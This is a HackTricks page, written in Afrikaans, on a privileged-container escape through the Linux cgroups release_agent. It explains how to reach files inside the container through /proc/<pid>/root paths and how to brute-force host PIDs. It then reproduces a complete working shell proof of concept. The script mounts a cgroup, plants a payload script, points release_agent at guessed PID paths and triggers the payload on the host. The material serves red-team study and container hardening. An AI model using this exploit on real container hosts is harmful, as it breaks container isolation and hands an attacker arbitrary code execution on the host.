release_agent exploit - Relative Paths to PIDs

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vir verdere besonderhede kyk na die blogpos van https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Hier is net 'n opsomming:

Die tegniek beskryf 'n metode vir die uitvoering van gasheerkode van binne 'n houer, wat uitdagings oorkom wat deur stoorbestuurder-konfigurasies veroorsaak word wat die houer se lêernaampad op die gasheer verduister, soos Kata Containers of spesifieke devicemapper-instellings.

Kernstappe:

  1. Vind proses-ID's (PIDs): Deur die /proc/<pid>/root simboliese skakel in die Linux-pseudobestandstelsel te gebruik, kan enige lêer binne die houer relatief tot die gasheer se lêernaampad benader word. Dit vermy die behoefte om die houer se lêernaampad op die gasheer te ken.

  2. PID Bashing: 'n Brute force-benadering word gebruik om deur PIDs op die gasheer te soek. Dit word gedoen deur sekwestraties te kontroleer vir die teenwoordigheid van 'n spesifieke lêer by /proc/<pid>/root/<file>. Wanneer die lêer gevind word, dui dit daarop dat die ooreenstemmende PID behoort aan 'n proses wat binne die teikenhouer loop.

  3. Uitvoering teweegbring: Die geradeerde PID-pad word geskryf na die cgroups release_agent-lêer. Hierdie aksie teweegbring die uitvoering van die release_agent. Die sukses van hierdie stap word bevestig deur te kontroleer of 'n uitvoerlêer geskep is.

Uitbuitingsproses

Die uitbuitingsproses behels 'n meer gedetailleerde stel aksies, met die doel om 'n nutslading op die gasheer uit te voer deur die korrekte PID van 'n proses wat binne die houer loop, te raai. So verloop dit:

  1. Inisialiseer omgewing: 'n Nutsladingskripsie (payload.sh) word op die gasheer voorberei, en 'n unieke gids word geskep vir cgroup-manipulasie.

  2. Berei nutslading voor: Die nutsladingskripsie, wat die opdragte bevat wat op die gasheer uitgevoer moet word, word geskryf en uitvoerbaar gemaak.

  3. Stel Cgroup op: Die cgroup word gemoniteer en gekonfigureer. Die notify_on_release-vlag word ingestel om te verseker dat die nutslading uitgevoer word wanneer die cgroup vrygestel word.

  4. Brute Force PID: 'n Lus itereer deur potensiële PIDs en skryf elke geradeerde PID na die release_agent-lêer. Dit stel effektief die nutsladingskripsie as die release_agent.

  5. Teweegbring en Kontroleer Uitvoering: Vir elke PID word die cgroup.procs van die cgroup geskryf, wat die uitvoering van die release_agent teweegbring as die PID korrek is. Die lus gaan voort totdat die uitvoer van die nutsladingskripsie gevind word, wat suksesvolle uitvoering aandui.

PoC van die blogpos:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated